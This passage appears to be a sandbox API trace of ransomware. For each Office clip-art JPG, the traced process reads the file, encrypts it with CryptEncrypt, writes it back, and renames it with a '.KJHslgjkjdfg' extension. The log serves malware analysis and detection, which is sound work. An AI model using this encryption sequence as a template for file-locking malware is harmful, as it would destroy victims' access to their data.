lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.478] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.478] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.478] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3d7f, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3d7f, lpOverlapped=0x0) returned 1 [0213.480] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3d80) returned 1 [0213.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.480] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3d80, lpOverlapped=0x0) returned 1 [0213.480] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.480] SetEndOfFile (hFile=0x130) returned 1 [0213.483] GetProcessHeap () returned 0x2ef0000 [0213.483] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.483] GetProcessHeap () returned 0x2ef0000 [0213.483] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.483] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.kjhslgjkjdfg")) returned 1 [0213.485] CloseHandle (hObject=0x130) returned 1 [0213.485] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ec6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341738.JPG", cAlternateFileName="")) returned 1 [0213.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.486] GetProcessHeap () returned 0x2ef0000 [0213.486] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.486] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.486] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.486] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0213.489] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.489] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.489] GetProcessHeap () returned 0x2ef0000 [0213.489] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.489] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.489] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.489] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.489] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.490] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.490] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.490] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.490] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.490] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.490] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4ec6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4ec6, lpOverlapped=0x0) returned 1 [0213.492] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ed0, dwBufLen=0x4ed0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ed0) returned 1 [0213.492] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.492] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4ed0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4ed0, lpOverlapped=0x0) returned 1 [0213.493] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.493] SetEndOfFile (hFile=0x130) returned 1 [0213.496] GetProcessHeap () returned 0x2ef0000 [0213.496] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.496] GetProcessHeap () returned 0x2ef0000 [0213.496] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.kjhslgjkjdfg")) returned 1 [0213.498] CloseHandle (hObject=0x130) returned 1 [0213.498] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341742.JPG", cAlternateFileName="")) returned 1 [0213.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.500] GetProcessHeap () returned 0x2ef0000 [0213.500] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.500] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.500] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.500] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0213.502] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.502] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.502] GetProcessHeap () returned 0x2ef0000 [0213.503] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.503] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.503] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.503] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.503] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.503] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.503] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.503] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.503] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.503] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.503] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.503] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.503] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x49ba, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x49ba, lpOverlapped=0x0) returned 1 [0213.505] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x49c0, dwBufLen=0x49c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x49c0) returned 1 [0213.505] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.505] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x49c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x49c0, lpOverlapped=0x0) returned 1 [0213.505] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.505] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.505] SetEndOfFile (hFile=0x130) returned 1 [0213.507] GetProcessHeap () returned 0x2ef0000 [0213.507] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.507] GetProcessHeap () returned 0x2ef0000 [0213.507] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.507] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.kjhslgjkjdfg")) returned 1 [0213.508] CloseHandle (hObject=0x130) returned 1 [0213.509] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10bdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382836.JPG", cAlternateFileName="")) returned 1 [0213.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.510] GetProcessHeap () returned 0x2ef0000 [0213.510] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.510] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.510] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.513] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.513] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.513] GetProcessHeap () returned 0x2ef0000 [0213.513] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.513] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.513] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.513] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.513] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.513] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.513] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.514] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.514] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.514] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.514] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.514] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.514] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10bdc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x10bdc, lpOverlapped=0x0) returned 1 [0213.516] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10be0, dwBufLen=0x10be0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10be0) returned 1 [0213.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.517] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10be0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x10be0, lpOverlapped=0x0) returned 1 [0213.517] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10cb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.517] SetEndOfFile (hFile=0x130) returned 1 [0213.520] GetProcessHeap () returned 0x2ef0000 [0213.521] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.521] GetProcessHeap () returned 0x2ef0000 [0213.521] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.521] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.kjhslgjkjdfg")) returned 1 [0213.522] CloseHandle (hObject=0x130) returned 1 [0213.522] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ce5a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382925.JPG", cAlternateFileName="")) returned 1 [0213.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.524] GetProcessHeap () returned 0x2ef0000 [0213.524] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.524] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.524] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.524] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0213.526] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.526] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.526] GetProcessHeap () returned 0x2ef0000 [0213.526] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.526] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.526] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.526] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.526] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.526] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.526] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.526] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.526] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.526] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.526] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.527] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.527] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ce5a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ce5a, lpOverlapped=0x0) returned 1 [0213.529] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, 